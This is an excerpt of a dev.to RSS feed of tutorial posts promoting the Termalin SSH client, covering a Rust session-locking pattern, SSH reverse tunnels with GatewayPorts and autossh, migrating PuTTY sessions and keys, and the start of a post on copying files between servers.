        &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;dead&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;owned&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;};&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="k"&gt;mut&lt;/span&gt; &lt;span class="n"&gt;session&lt;/span&gt; &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="n"&gt;owned&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="n"&gt;_&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;session&lt;/span&gt;&lt;span class="nf"&gt;.disconnect&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="k"&gt;.await&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// lock released&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="n"&gt;dead&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Two deliberate choices here. There's &lt;strong&gt;no background task&lt;/strong&gt; — this is the only GC path, and the UI just calls it on a cheap interval (and on demand). A background reaper is one more thing holding the lock on a timer you don't control; calling it explicitly keeps GC on &lt;em&gt;your&lt;/em&gt; schedule. And it only touches sessions that are actually in the map: anything mid-connect (owned out of the map) or never-connected is left alone, so the reaper and an in-flight handshake can never fight over the same session.&lt;/p&gt;

&lt;h2&gt;
  
  
  The shape, minus the SSH
&lt;/h2&gt;

&lt;p&gt;Strip out the protocol and the pattern is reusable anywhere you keep live, individually-slow things in a shared map:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Hold the shared lock only long enough to &lt;strong&gt;move ownership out&lt;/strong&gt; (&lt;code&gt;remove&lt;/code&gt;), not for the duration of the work.&lt;/li&gt;
&lt;li&gt;Do the slow &lt;code&gt;async&lt;/code&gt; work on the &lt;strong&gt;owned value&lt;/strong&gt;, lock released.&lt;/li&gt;
&lt;li&gt;Re-acquire briefly to &lt;strong&gt;put it back&lt;/strong&gt; — with a guard against a second concurrent operation, and a &lt;strong&gt;cancel flag&lt;/strong&gt; so an op that raced the slow work can tear its result down instead of reinserting it.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;It costs you a second map (&lt;code&gt;in_flight&lt;/code&gt;) and a little bookkeeping, and it buys you a lock that's never held longer than a &lt;code&gt;HashMap::remove&lt;/code&gt;. For anything behind &lt;code&gt;Arc&amp;lt;Mutex&amp;lt;HashMap&amp;lt;_, _&amp;gt;&amp;gt;&amp;gt;&lt;/code&gt; where the per-entry operations touch the network, that trade is almost always worth it.&lt;/p&gt;

&lt;h2&gt;
  
  
  Where this lives
&lt;/h2&gt;

&lt;p&gt;This is from the Rust core of &lt;a href="https://termal.in/features/" rel="noopener noreferrer"&gt;Termalin&lt;/a&gt;, a cross-platform SSH client (the protocol layer is &lt;code&gt;russh&lt;/code&gt;). The full session manager has more moving parts — per-session output buffers, tunnels, stats collectors — but the connect/disconnect/reap paths all follow the take-and-return discipline above.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Termalin is a fast SSH client for you and your AI agents — &lt;a href="https://termal.in/features/" rel="noopener noreferrer"&gt;have a look&lt;/a&gt;, or read &lt;a href="https://termal.in/mcp/" rel="noopener noreferrer"&gt;how the agent side works&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>rust</category>
      <category>concurrency</category>
      <category>ssh</category>
      <category>programming</category>
    </item>
    <item>
      <title>SSH reverse tunnels (ssh -R): expose a local port through a remote server</title>
      <dc:creator>Svyatoslav Pavlov</dc:creator>
      <pubDate>Sat, 03 Oct 2026 19:12:34 +0000</pubDate>
      <link>https://dev.to/wolfhound1995/ssh-reverse-tunnels-ssh-r-expose-a-local-port-through-a-remote-server-4bm8</link>
      <guid>https://dev.to/wolfhound1995/ssh-reverse-tunnels-ssh-r-expose-a-local-port-through-a-remote-server-4bm8</guid>
      <description>&lt;p&gt;&lt;em&gt;How ssh -R works — the listener opens on the remote side. Demoing a dev server, reaching a machine behind NAT, catching webhooks, plus GatewayPorts.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;You have something running on your laptop — a dev server, an API, a machine at home behind NAT — and something on the other side of the internet needs to reach it. No public IP, no router access, no time to set up a VPN. This is the job of the SSH reverse tunnel, &lt;code&gt;ssh -R&lt;/code&gt;: it makes a port appear on a server you &lt;em&gt;can&lt;/em&gt; reach, and quietly pipes everything that hits it back to your machine.&lt;/p&gt;

&lt;p&gt;It's the flag people find backwards, so let's fix the mental model first, then work through the real cases.&lt;/p&gt;

&lt;h2&gt;
  
  
  The mental model: &lt;code&gt;-L&lt;/code&gt;, mirrored
&lt;/h2&gt;

&lt;p&gt;Every SSH tunnel opens a listening port on one machine and ships whatever arrives to somewhere reachable from the other machine. With local forwarding (&lt;code&gt;-L&lt;/code&gt;), the port opens on &lt;strong&gt;your&lt;/strong&gt; machine and traffic exits on the server's side. A reverse tunnel is the exact mirror image:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;With &lt;code&gt;-R&lt;/code&gt;, the listening port opens on the &lt;em&gt;remote server&lt;/em&gt;, and connections to it come out on &lt;em&gt;your&lt;/em&gt; side.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;That's the entire trick. The machine that can't accept inbound connections makes an &lt;em&gt;outbound&lt;/em&gt; SSH connection instead — and rides connections back in over it. If the two still blur together, the full family portrait is in &lt;a href="https://termal.in/blog/ssh-port-forwarding-tunnels/" rel="noopener noreferrer"&gt;SSH port forwarding, explained&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  The syntax, read left to right
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ssh &lt;span class="nt"&gt;-R&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;bind_address:]remote_port:localhost:local_port user@server
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Read it as: &lt;em&gt;on the server, listen on &lt;code&gt;remote_port&lt;/code&gt;; forward whatever arrives to &lt;code&gt;localhost:local_port&lt;/code&gt; — as resolved from my machine.&lt;/em&gt; So:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ssh &lt;span class="nt"&gt;-R&lt;/span&gt; 8080:localhost:3000 deploy@vps.example.com
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;opens port &lt;code&gt;8080&lt;/code&gt; on the VPS, and every connection to it lands on port &lt;code&gt;3000&lt;/code&gt; of your laptop. The destination doesn't have to be your laptop itself — &lt;code&gt;-R 8080:192.168.1.50:80&lt;/code&gt; forwards to another machine on &lt;em&gt;your&lt;/em&gt; LAN, using your laptop as the exit.&lt;/p&gt;

&lt;p&gt;One flag worth knowing: &lt;code&gt;-R 0:localhost:3000&lt;/code&gt; lets the server pick any free port, and prints &lt;code&gt;Allocated port 43022 for remote forward&lt;/code&gt; so you know which one you got.&lt;/p&gt;

&lt;h2&gt;
  
  
  Three things people actually build with it
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Show a local dev server to a client.&lt;/strong&gt; Your work-in-progress runs on &lt;code&gt;localhost:3000&lt;/code&gt;. Instead of deploying it somewhere just for a demo:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ssh &lt;span class="nt"&gt;-N&lt;/span&gt; &lt;span class="nt"&gt;-R&lt;/span&gt; 8080:localhost:3000 deploy@demo.example.com
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Anyone who can reach &lt;code&gt;demo.example.com:8080&lt;/code&gt; is now looking at the app on your laptop, live. (&lt;code&gt;-N&lt;/code&gt; skips the remote shell — you only want the tunnel. Whether &lt;em&gt;anyone&lt;/em&gt; or only the server itself can connect depends on &lt;code&gt;GatewayPorts&lt;/code&gt; — next section.)&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Reach a home machine behind NAT.&lt;/strong&gt; Your home box can't accept connections, but it can make them. Have it hold a tunnel out to a small VPS:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# on the home machine&lt;/span&gt;
ssh &lt;span class="nt"&gt;-N&lt;/span&gt; &lt;span class="nt"&gt;-R&lt;/span&gt; 2222:localhost:22 tunnel@vps.example.com
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now the VPS's port &lt;code&gt;2222&lt;/code&gt; &lt;em&gt;is&lt;/em&gt; the home machine's SSH port, and from anywhere:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ssh &lt;span class="nt"&gt;-J&lt;/span&gt; vps.example.com &lt;span class="nt"&gt;-p&lt;/span&gt; 2222 you@localhost
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;jumps through the VPS straight into the box behind NAT. This is the classic self-hosted answer to &lt;a href="https://termal.in/blog/ssh-into-home-nas-server/" rel="noopener noreferrer"&gt;how to SSH into your home server&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Deliver webhooks to your laptop.&lt;/strong&gt; A payment provider or git host needs to POST to your in-development handler. Tunnel their reachable endpoint back to you:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ssh &lt;span class="nt"&gt;-N&lt;/span&gt; &lt;span class="nt"&gt;-R&lt;/span&gt; 9000:localhost:9000 deploy@vps.example.com
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Point the webhook at the VPS. If you keep the tunnel bound to the server's loopback (the default), put nginx or any reverse proxy on the VPS in front of &lt;code&gt;127.0.0.1:9000&lt;/code&gt; — you get TLS termination for free and never expose the raw tunnel port.&lt;/p&gt;

&lt;h2&gt;
  
  
  GatewayPorts: why nobody else can reach your tunnel
&lt;/h2&gt;

&lt;p&gt;The number-one surprise: the tunnel works when you test it &lt;em&gt;from the server&lt;/em&gt; (&lt;code&gt;curl localhost:8080&lt;/code&gt; succeeds) but nobody outside can connect. That's by design — &lt;strong&gt;by default, sshd binds remote-forwarded ports to &lt;code&gt;127.0.0.1&lt;/code&gt; only&lt;/strong&gt;, no matter what bind address you asked for.&lt;/p&gt;

&lt;p&gt;To open a tunnel to the world, the &lt;em&gt;server's&lt;/em&gt; &lt;code&gt;/etc/ssh/sshd_config&lt;/code&gt; needs:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ssh"&gt;&lt;code&gt;&lt;span class="k"&gt;GatewayPorts&lt;/span&gt; clientspecified
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;then restart sshd, and request the bind explicitly: &lt;code&gt;ssh -R 0.0.0.0:8080:localhost:3000 ...&lt;/code&gt;. (&lt;code&gt;GatewayPorts yes&lt;/code&gt; binds every remote forward to all interfaces, which is broader than you usually want.) This is a server-side decision you cannot override from the client — a deliberate safety default, since a reverse tunnel is a hole punched from the inside, and whatever it exposes is now effectively internet-facing. Treat it that way.&lt;/p&gt;

&lt;p&gt;Two related server-side switches can bite you: &lt;code&gt;AllowTcpForwarding no&lt;/code&gt; disables tunnels entirely, and &lt;code&gt;PermitListen&lt;/code&gt; can restrict which ports &lt;code&gt;-R&lt;/code&gt; may claim.&lt;/p&gt;

&lt;h2&gt;
  
  
  Keeping it alive
&lt;/h2&gt;

&lt;p&gt;A reverse tunnel is one TCP connection, and idle TCP connections die. For anything longer than a demo:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ssh &lt;span class="nt"&gt;-N&lt;/span&gt; &lt;span class="nt"&gt;-R&lt;/span&gt; 2222:localhost:22 &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-o&lt;/span&gt; &lt;span class="nv"&gt;ServerAliveInterval&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;30 &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-o&lt;/span&gt; &lt;span class="nv"&gt;ExitOnForwardFailure&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;yes&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    tunnel@vps.example.com
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;ServerAliveInterval 30&lt;/code&gt;&lt;/strong&gt; keeps traffic flowing so NAT entries and idle timeouts don't reap the connection.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;ExitOnForwardFailure yes&lt;/code&gt;&lt;/strong&gt; makes ssh die loudly if the remote port can't be bound, instead of connecting anyway and forwarding nothing.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;autossh&lt;/code&gt;&lt;/strong&gt; wraps the command and restarts the tunnel whenever it drops — the standard tool for tunnels that should survive reboots and flaky networks, usually run as &lt;code&gt;autossh -M 0 -N -R ...&lt;/code&gt; under a systemd unit.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;And once a tunnel earns a permanent place, move it into &lt;code&gt;~/.ssh/config&lt;/code&gt; with a &lt;code&gt;RemoteForward&lt;/code&gt; line so it travels with the host entry — structure covered in &lt;a href="https://termal.in/blog/ssh-config-file-guide/" rel="noopener noreferrer"&gt;the ssh_config guide&lt;/a&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ssh"&gt;&lt;code&gt;&lt;span class="k"&gt;Host&lt;/span&gt; homelink
    &lt;span class="k"&gt;HostName&lt;/span&gt; vps.example.com
    &lt;span class="k"&gt;User&lt;/span&gt; tunnel
    &lt;span class="k"&gt;RemoteForward&lt;/span&gt; &lt;span class="m"&gt;2222&lt;/span&gt; localhost:22
    &lt;span class="k"&gt;ServerAliveInterval&lt;/span&gt; &lt;span class="m"&gt;30&lt;/span&gt;
    &lt;span class="k"&gt;ExitOnForwardFailure&lt;/span&gt; &lt;span class="no"&gt;yes&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  &lt;code&gt;-L&lt;/code&gt; vs &lt;code&gt;-R&lt;/code&gt; vs &lt;code&gt;-D&lt;/code&gt; at a glance
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Flag&lt;/th&gt;
&lt;th&gt;Port opens on&lt;/th&gt;
&lt;th&gt;Traffic exits on&lt;/th&gt;
&lt;th&gt;Typical job&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;-L&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;your machine&lt;/td&gt;
&lt;td&gt;server's side&lt;/td&gt;
&lt;td&gt;pull a remote DB/dashboard to localhost&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;-R&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;the server&lt;/td&gt;
&lt;td&gt;your side&lt;/td&gt;
&lt;td&gt;expose local service; reach a NATed box&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;-D&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;your machine&lt;/td&gt;
&lt;td&gt;server's side, any destination&lt;/td&gt;
&lt;td&gt;SOCKS proxy into a network&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  When a reverse tunnel is the wrong tool
&lt;/h2&gt;

&lt;p&gt;A reverse tunnel is a superb &lt;em&gt;temporary&lt;/em&gt; answer: demos, webhook debugging, rescuing a machine behind NAT. It's a poor &lt;em&gt;permanent&lt;/em&gt; one. If the thing you're exposing needs to be up for months, serve real users, or survive your laptop sleeping — that's ingress, and ingress deserves real infrastructure: a reverse proxy on a server, a VPN or overlay network, an actual deployment. The tunnel's charm is that it's one command with no standing footprint; the moment you're writing monitoring for it, you've outgrown it.&lt;/p&gt;

&lt;h2&gt;
  
  
  Troubleshooting the usual failures
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;Warning: remote port forwarding failed for listen port 8080&lt;/code&gt;&lt;/strong&gt; — the port is taken on the server. Often the culprit is your &lt;em&gt;own&lt;/em&gt; previous tunnel: the old sshd process holds the port until the dead connection times out. Keepalives prevent the zombie; &lt;code&gt;-R 0:...&lt;/code&gt; sidesteps the collision; &lt;code&gt;ExitOnForwardFailure&lt;/code&gt; turns the warning into an error you can't miss.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Works from the server, refused from outside&lt;/strong&gt; — the listener is on the server's loopback. That's the &lt;code&gt;GatewayPorts&lt;/code&gt; default doing its job; either configure it or front the port with a reverse proxy.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Tunnel connects but the service doesn't answer&lt;/strong&gt; — check the &lt;em&gt;local&lt;/em&gt; half: is anything actually listening on the local port you named? &lt;code&gt;-R 8080:localhost:3000&lt;/code&gt; with nothing on your &lt;code&gt;:3000&lt;/code&gt; yields connection refused for every visitor.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The SSH connection itself won't establish&lt;/strong&gt; — that's a different problem with its own checklist: &lt;a href="https://termal.in/blog/ssh-connection-refused-timed-out/" rel="noopener noreferrer"&gt;connection refused and timed out, decoded&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  When tunnels become furniture
&lt;/h2&gt;

&lt;p&gt;The reverse tunnel you run once, you type. The one that carries your home lab, your demo box and your webhook endpoint is state you rebuild every morning after every laptop sleep — and lose track of by Thursday. Termalin's &lt;a href="https://termal.in/ssh-tunnel-manager/" rel="noopener noreferrer"&gt;saved tunnel manager&lt;/a&gt; keeps local, remote and dynamic forwards attached to the host they belong to: start them with a click, see at a glance which are live, and have saved ones start when the app launches and come back if they drop, instead of being retyped from shell history. On Pro, the host list — keys, jump hosts and tunnels included — syncs across your machines end-to-end encrypted. And when a box sits behind NAT for good, its outbound-only &lt;a href="https://termal.in/connector/" rel="noopener noreferrer"&gt;Connector&lt;/a&gt; (Pro) replaces the hand-rolled reverse tunnel entirely — no inbound port, and no &lt;code&gt;autossh&lt;/code&gt; unit to babysit. The command line teaches you what &lt;code&gt;-R&lt;/code&gt; means; a client keeps the tunnels you rely on from depending on your memory.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Termalin is a free, cross-platform SSH client with built-in tunnels, SFTP and a key manager — &lt;a href="https://termal.in/download/" rel="noopener noreferrer"&gt;download it&lt;/a&gt;, or see how it &lt;a href="https://termal.in/security/" rel="noopener noreferrer"&gt;handles your keys safely&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>ssh</category>
      <category>portforwarding</category>
      <category>tunneling</category>
      <category>tutorial</category>
    </item>
    <item>
      <title>Leaving PuTTY: migrate your sessions, keys and habits without losing anything</title>
      <dc:creator>Svyatoslav Pavlov</dc:creator>
      <pubDate>Fri, 02 Oct 2026 17:17:06 +0000</pubDate>
      <link>https://dev.to/wolfhound1995/leaving-putty-migrate-your-sessions-keys-and-habits-without-losing-anything-27fo</link>
      <guid>https://dev.to/wolfhound1995/leaving-putty-migrate-your-sessions-keys-and-habits-without-losing-anything-27fo</guid>
      <description>&lt;p&gt;&lt;em&gt;Where PuTTY hides your sessions and host keys, how to convert .ppk keys to OpenSSH, and how to land the whole setup in a modern client in one evening.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;PuTTY deserves its reputation. It's small, it's honest, it has worked the same way since the dial-up era, and half the world's server closets were administered through it. Nobody &lt;em&gt;has&lt;/em&gt; to leave. But if you've caught yourself juggling eleven PuTTY windows on a taskbar, copying files with a separate WinSCP window, and typing the same passphrase forty times a day — the itch is real, and the move is smaller than it looks.&lt;/p&gt;

&lt;p&gt;This guide gets everything out of PuTTY intact: sessions, keys, host keys, habits. It's written with &lt;a href="https://termal.in/putty-alternative/" rel="noopener noreferrer"&gt;Termalin&lt;/a&gt; as the destination, but the first half applies to any modern client.&lt;/p&gt;

&lt;h2&gt;
  
  
  Know where PuTTY keeps your stuff
&lt;/h2&gt;

&lt;p&gt;PuTTY famously has no config file. Everything lives in the Windows registry:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Sessions&lt;/strong&gt; — &lt;code&gt;HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions&lt;/code&gt;, one key per saved session: host, port, username, per-session settings.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Known host keys&lt;/strong&gt; — &lt;code&gt;HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\SshHostKeys&lt;/code&gt; — the fingerprints of every server you've ever trusted.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Private keys&lt;/strong&gt; — wherever you saved the &lt;code&gt;.ppk&lt;/code&gt; files. The registry only stores the &lt;em&gt;path&lt;/em&gt; to a session's key, not the key itself. If you're like most long-time users, there's a &lt;code&gt;keys&lt;/code&gt; folder somewhere you haven't opened since 2019.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Worth knowing even if you stay: this is why your PuTTY setup doesn't follow you to a new machine unless you remember to export the registry branch.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 1 — export the sessions
&lt;/h2&gt;

&lt;p&gt;On the machine with your PuTTY setup, from a command prompt:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;reg export "HKCU\Software\SimonTatham\PuTTY\Sessions" putty-sessions.reg
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That single &lt;code&gt;.reg&lt;/code&gt; file is your complete session inventory — portable, human-readable, and the input format most importers (Termalin included) accept on any OS. On Windows you can usually skip even this: Termalin's hosts list has an import menu that &lt;strong&gt;reads your saved PuTTY sessions straight from the registry, one click&lt;/strong&gt;, and they arrive as regular hosts you can sort into folders and tag.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 2 — convert the keys
&lt;/h2&gt;

&lt;p&gt;PuTTY's &lt;code&gt;.ppk&lt;/code&gt; format is its own thing; the rest of the world speaks OpenSSH. Conversion is built into PuTTYgen and takes seconds per key:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Open &lt;strong&gt;PuTTYgen&lt;/strong&gt;, &lt;code&gt;Load&lt;/code&gt; the &lt;code&gt;.ppk&lt;/code&gt; (enter its passphrase).&lt;/li&gt;
&lt;li&gt;Menu &lt;strong&gt;Conversions → Export OpenSSH key (force new file format)&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Save as &lt;code&gt;id_ed25519&lt;/code&gt; / &lt;code&gt;id_rsa&lt;/code&gt; — the passphrase carries over.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Two notes from the trenches: export the &lt;em&gt;new&lt;/em&gt; format (the legacy one predates Ed25519), and don't forget keys referenced by sessions but stored in odd places — each session's &lt;code&gt;PublicKeyFile&lt;/code&gt; value in the &lt;code&gt;.reg&lt;/code&gt; export shows the path it expected (the import marks those hosts as key-based, so you know which ones still need a key). Once converted, import the keys into your new client; in Termalin they go into the built-in agent, which means &lt;strong&gt;one unlock per session of work&lt;/strong&gt;, passphrase caching on a timer you control, instead of one passphrase per connection.&lt;/p&gt;

&lt;p&gt;If you drove Pageant all day, that habit maps directly: Termalin's agent plays the same role. It speaks the standard ssh-agent protocol on its own per-user pipe or socket, so a CLI pointed at it with &lt;code&gt;SSH_AUTH_SOCK&lt;/code&gt; can sign through it too.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 3 — don't blindly re-trust every server
&lt;/h2&gt;

&lt;p&gt;You &lt;em&gt;can&lt;/em&gt; migrate PuTTY's &lt;code&gt;SshHostKeys&lt;/code&gt; — but honestly: don't bother. Fingerprint formats differ, and a migration is the one natural moment you'll ever have to re-verify what you're connecting to. A modern client (Termalin uses trust-on-first-use with a proper &lt;code&gt;known_hosts&lt;/code&gt;) will show each server's fingerprint on first connect — glance at the ones that matter, accept, move on. Ten minutes for a fleet you'll trust cleanly for years.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 4 — rebuild the two habits PuTTY never had
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Tabs instead of windows.&lt;/strong&gt; Eleven sessions become one window with browser-style tabs (drag to reorder, activity glow on the quiet ones). The win isn't cosmetic — it's that "which window was staging?" stops being a question.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Files next to the terminal.&lt;/strong&gt; The separate-WinSCP-window workflow collapses into an SFTP panel in the same tab as the shell: browse, edit in place with a built-in editor, upload — no second app, no reconnecting the same credentials.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Ftermal.in%2Feditor.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Ftermal.in%2Feditor.png" width="800" height="450" alt="The SFTP panel and built-in editor beside a terminal session"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Everything else transfers as-is: your servers are still your servers, your muscle memory still works, &lt;code&gt;Ctrl+D&lt;/code&gt; still logs you out.&lt;/p&gt;

&lt;h2&gt;
  
  
  What you gain that has no PuTTY equivalent
&lt;/h2&gt;

&lt;p&gt;Sessions that follow you — hosts, keys and command history sync across machines, end-to-end encrypted so the sync server only ever holds ciphertext. Terminal themes per host (staging in Nord, production in something appropriately red). And if you work with AI agents: a built-in &lt;a href="https://termal.in/mcp/" rel="noopener noreferrer"&gt;MCP server&lt;/a&gt; that lets an agent open SSH sessions through the app, under your eyes, without ever seeing a key — a sentence that would have sounded like science fiction when your &lt;code&gt;.ppk&lt;/code&gt; files were created.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Termalin runs on &lt;a href="https://termal.in/ssh-client-for-windows/" rel="noopener noreferrer"&gt;Windows&lt;/a&gt;, macOS, Linux and iOS; the Free tier has no host limits and imports PuTTY sessions in one click — &lt;a href="https://termal.in/download/" rel="noopener noreferrer"&gt;download it&lt;/a&gt;, or see the full &lt;a href="https://termal.in/putty-alternative/" rel="noopener noreferrer"&gt;PuTTY comparison&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>putty</category>
      <category>ssh</category>
      <category>migration</category>
      <category>tutorial</category>
    </item>
    <item>
      <title>How to move files between two servers — without downloading them to your laptop first</title>
      <dc:creator>Svyatoslav Pavlov</dc:creator>
      <pubDate>Thu, 01 Oct 2026 19:12:44 +0000</pubDate>
      <link>https://dev.to/wolfhound1995/how-to-move-files-between-two-servers-without-downloading-them-to-your-laptop-first-a2f</link>
      <guid>https://dev.to/wolfhound1995/how-to-move-files-between-two-servers-without-downloading-them-to-your-laptop-first-a2f</guid>
      <description>&lt;p&gt;&lt;em&gt;scp -3, rsync, the tar-over-ssh pipe, S3 as a relay, and the GUI way: five ways to copy files server-to-server, and when each one wins.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;You have a 40 GB directory on server A that needs to be on server B. The reflex — download to the laptop, upload to the other box — moves the data twice, hammers your home uplink in both directions, and falls over the moment your Wi-Fi hiccups at gigabyte 32. Every admin eventually collects a better toolkit for this. Here it is, shortest path first.&lt;/p&gt;

&lt;h2&gt;
  
  
  1. &lt;code&gt;scp -3&lt;/code&gt; — the honest middleman
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;scp &lt;span class="nt"&gt;-3&lt;/span&gt; &lt;span class="nt"&gt;-r&lt;/span&gt; alice@server-a:/srv/app/data bob@server-b:/srv/app/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;-3&lt;/code&gt; routes traffic &lt;em&gt;through your machine&lt;/em&gt; — A sends to you, you forward to B, nothing is written to disk. Both sides authenticate with your local keys, which is exactly why this is the zero-setup option: &lt;strong&gt;A and B never need to trust each other.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The cost: every byte still crosses your connection twice (in and out), and &lt;a href="https://termal.in/blog/scp-vs-sftp-vs-rsync/" rel="noopener noreferrer"&gt;&lt;code&gt;scp&lt;/code&gt; has no resume&lt;/a&gt;. Fine for config directories and dumps in the single-gigabyte range; wrong tool for the 40 GB case unless your uplink is excellent.&lt;/p&gt;

&lt;h2&gt;
  
  
  2. Direct copy: run it &lt;em&gt;on&lt;/em&gt; one of the servers
&lt;/h2&gt;

